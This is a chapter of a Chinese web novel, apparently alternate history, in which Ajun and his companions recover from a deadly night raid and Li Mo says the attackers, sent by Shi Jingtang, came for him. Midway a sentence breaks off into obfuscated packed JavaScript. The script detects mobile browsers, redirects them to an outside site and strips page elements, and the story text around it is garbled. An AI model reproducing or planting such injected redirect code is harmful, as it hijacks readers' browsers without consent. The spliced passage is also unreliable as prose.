天亮的时候，阿钝还坐在院子里。
他不知道自己是坐了一夜，还是睡着了一会儿再醒过来的。他只记得天从黑变灰，从灰变白，然后太阳从东边慢慢升起来。
阳光照在那台机器上，照在那些还没擦干净的血迹上，照在他脸上。
有点暖。
狗子从屋里走出来，站在他旁边。
“阿钝哥。”
阿钝转过头，看着他。
狗子的脸色很白，眼睛下面有青的黑的印子。他昨晚也没睡好。
“怎么了？”
狗子没说话。他站在那儿，看着院子里那些还没干透的血迹。
阿钝顺着他的目光看过去。地上有好几摊，黑红黑红的，有的已经干了，有的还是湿的。
他忽然想起一件事。
“石头呢？”
狗子说：“在屋里。写东西。”
阿钝愣了一下。
“写什么？”
“不知道。”狗子说，“他一直写。写了撕，撕了写。我问他写什么，他不说。”
---
阿钝走进屋里，看见石头蹲在墙角，面前摊着那个本子。
本子已经写满了好几页，边角卷起来，沾着黑黑的指印。石头手里攥着那截炭笔，盯着本子发呆。
阿钝走过去，在他旁边蹲下。
“石头。”
石头抬起头，看着他。
那双眼睛里，有阿钝没见过的东西。不是怕，不是空，是别的什么。
阿钝问：“写什么？”
石头低下头，看着本子。
“写昨天晚上。”他说。
阿钝看着那些字。歪歪扭扭的，有的能认，有的认不出来。但他看见了几个词：**来了。打。死了。血。狗子哥抖。阿钝哥没出来。**
他的手停在“没出来”那三个字上。
“你怎么知道我没出来？”
石头说：“我听见的。你在外面，没进去。”
阿钝没说话。
石头继续说：
“我想喊你。喊不出来。”
他抬起头，看着阿钝。
“阿钝哥，你怕吗？”
阿钝想了想。
“怕。”他说。
“那你为什么不躲？”
阿钝不知道怎么回答。
他看着石头，看着那双眼睛里的东西，忽然想起自己刚来的时候。那时候他也问过李默这样的话。
“因为，”他说，“有人得守着。”
石头看着他。
“守什么？”
阿钝指了指窗外。
“守那台机器。守那棵树。守你们。”
石头低下头，又看着本子。
他拿起炭笔，在上面又写了一行。
阿钝没看清他写的是什么。
---
周老倔躺在床上，肩上包着厚厚的白布。布是阿箬给他包的，包得很紧，血还是渗出来一点，在布上洇成一团红。
阿钝走进去的时候，周老倔正睁着眼睛看屋顶。
“周爷爷。”
周老倔转过头，看见他，笑了一下。
那笑容有点虚，嘴角扯动的时候，肩膀上的伤也跟着疼。他皱了皱眉，没喊出来。
“阿钝啊。”他说，“没事，死不了。”
阿钝在床边坐下。
“疼吗？”
周老倔想了想。
“疼。”他说，“但疼比不疼好。疼说明还活着。”
阿钝没说话。
周老倔看着他。
“你昨晚没躲？”
阿钝点了点头。
周老倔沉默了一会儿。
“你师父教你的？”
阿钝想了想。
“他什么都没教。”他说，“我就站在那儿。”
周老倔又笑了。
“那你是自己学会的。”
他看着屋顶。
“我年轻的时候，也这样。第一次打仗，怕得要死，腿都在抖。但就是没跑。不知道为什么，就是没跑。”
他转过头，看着阿钝。
“后来我想明白了。不是不怕，是有比怕更要紧的东西。”
阿钝问：“什么东西？”
周老倔想了想。
“说不清。”他说，“但你以后会知道。”
---
阿箬坐在门口，擦那把刀。
刀上的血已经干了，变成暗红色的印子，一块一块的。她用一块破布，沾着水，一点一点地擦。
擦得很慢，很仔细。
阿钝走过去，在她旁边坐下。
“阿箬姐。”
阿箬没抬头，继续擦刀。
阿钝看着她手上的动作。那双手上有旧疤，有新伤，指节粗大，但擦刀的时候很稳。
“你受伤了？”
阿箬摇了摇头。
“不是我的。”
阿钝愣了一下。
阿箬擦完最后一块血印，把刀举起来，对着光看了看。刀刃上闪着冷冷的白光。
她把刀收起来，放进刀鞘里。
然后她转过头，看着阿钝。
“你昨晚没躲。”
阿钝点了点头。
阿箬看着他，看了很久。
然后她说：
“以后别这样。”
阿钝愣住了。
“为什么？”
阿箬没回答。她站起来，往屋里走。
走了几步，又停下来。
“你活着，”她说，“比守着有用。”
她走了。
阿钝坐在那儿，看着她的背影，看了很久。
---
李默站在那台机器旁边，一动不动。
他已经站了很久。从早上太阳升起来，到现在太阳快走到头顶，他就那么站着，看着那台机器。
阿钝走过去，站在他旁边。
“师父。”
李默没说话。
阿钝也看着那台机器。飞轮在转，活塞在动，管子冒着气。和平时一样。和昨天一样。和前天一祥。
它什么都不知道。
“师父，”阿钝说，“周爷爷说，他年轻的时候也这样。第一次打仗，腿都在抖，但就是没跑。”
李默转过头，看着他。
“你怕吗？”
阿钝想了想。
“怕。”他说。
李默点了点头。
“怕就对了。”
他看着那台机器。
“不怕的人，活不长。”
阿钝没说话。
两个人站在那儿，看着机器转。
过了很久，李默忽然开口。
“阿钝。”
“师父。”
“你知道吗，”李默说，“那些人，是冲我来的。”
阿钝愣住了。
李默继续说：
“石敬瑭想要我。想要咱们这些东西。他派人来，不是想杀，是想抢。抢不到，才杀。”
他看着阿钝。
“你们是被连累的。”
阿钝站在那里，听着这些话。
他想起河东那个煤矿。想起人油灯，想起那些被推进火里的人。想起石敬瑭站在中军帐前，用看牲口的眼神打量他们。
他还是那样。
“师父。”阿钝说。
李默看着他。
阿钝说：“我不是被连累的。”
李默愣了一下。
阿钝说：“我在这儿，是我自己选的。”
他指着那台机器，指着那棵树，指着那些屋子。
“这儿是我的地方。谁来，我守。”
李默看着他，看了很久。
然后他伸出手，在阿钝头上按了一下。
“好。”他说。
---
傍晚的时候，郭荣的信来了。
信很短，是飞马送来的。
**陈桥那边也出事了。死了人。你们怎么样？**
阿钝看着那封信，手指有点抖。
陈桥也出事了。也死了人。
他想起那个姓周的调度员。他浑身
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17401637|200419||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
是血冲进来报信的样子。他说的“死了二十三个”。
那些人，是不是也和昨晚的人一样，躺在那儿，血流干了，没人记得名字？
李默把信收起来，看着北边的方向。
“他会回来的。”他说。
阿钝不知道他说的“他”是郭荣，还是别的什么人。
但他点了点头。
---
那天夜里，阿钝又睡不着。
他躺在床上，听着外面的声音。风声，虫鸣声，还有远处偶尔传来的狗叫声。和昨晚一样。
但不一样了。
昨晚他在等。
今晚他在想。
想什么？
想阿箬说的那句话：“你活着，比守着有用。”
想周老倔说的“有比怕更要紧的东西”。
想石头在本子上写的那些字。
想师父按在他头上的那只手。
想那些躺在院子里的死人。
想那些死人的脸。他没看清，但他知道他们在看他。
狗子睡在他旁边，抱着那个空包袱。今晚他抱得特别紧，像是怕什么东西跑掉。
石头睡在狗子旁边，攥着那块石头。今晚他没写东西，就那么攥着，一动不动。
阿钝看着他们，看了很久。
然后他轻轻爬起来，走到院子里。
月亮出来了，不是很亮，但能看清东西。那棵树在月光下投下一片淡淡的影子。
他走过去，站在树下面。
树皮还是粗的，糙的，摸上去有点扎手。
他说：“你放心。我们还在。”
---
身后有脚步声。
阿钝回头，看见一个人影走过来。
不是阿箬。不是李默。是另一个人。
阿福。
他站在阿钝旁边，也看着那棵树。
阿钝问：“你怎么也睡不着？”
阿福想了想。
“在想事情。”他说。
“想什么？”
阿福沉默了一会儿。
“在想，”他说，“你们是怎么活的。”
阿钝愣了一下。
阿福看着那棵树。
“我以前不知道，”他说，“活着，要这么难。”
阿钝没说话。
阿福继续说：
“我来的第一天，石头问我，你饿过吗？我说没有。他说，怪不得。”
他转过头，看着阿钝。
“现在我知道了。”
阿钝看着他。
月光下，阿福的眼睛里有东西在动。
不是怕。不是空。是别的什么。
阿钝问：“知道什么了？”
阿福想了想。
“知道为什么你们能活，我不能。”他说，“因为你们饿过。饿过的人，不一样。”
他低下头。
“我不知道怎么变成你们那样。”
阿钝看着他，看了很久。
然后他伸出手，在阿福肩上按了一下。
和阿箬按他的方式一样。
阿福愣住了。
阿钝说：“不用变。”
阿福看着他。
阿钝说：“你在这儿看着，就行。”
---
远处传来火车的汽笛声。
呜——
很长，很远。
那是夜里的最后一趟车，从幽州开往汴梁。
阿钝抬起头，往北边看了一眼。
什么也没有。只有黑漆漆的天，和看不见的远方。
但他知道，那边有一个人。
那个人说夏天回来。
那个人说“可能还会来”。
火车开过来了。
今夜，他们守住了。
下一次呢？
他不知道。
但他知道，明天太阳还会升起来。那台机器还会转。那棵树还在。狗子、石头、阿箬姐、师父、周爷爷、陈小锤、孙二、阿福——他们都还在。
那就够了。
---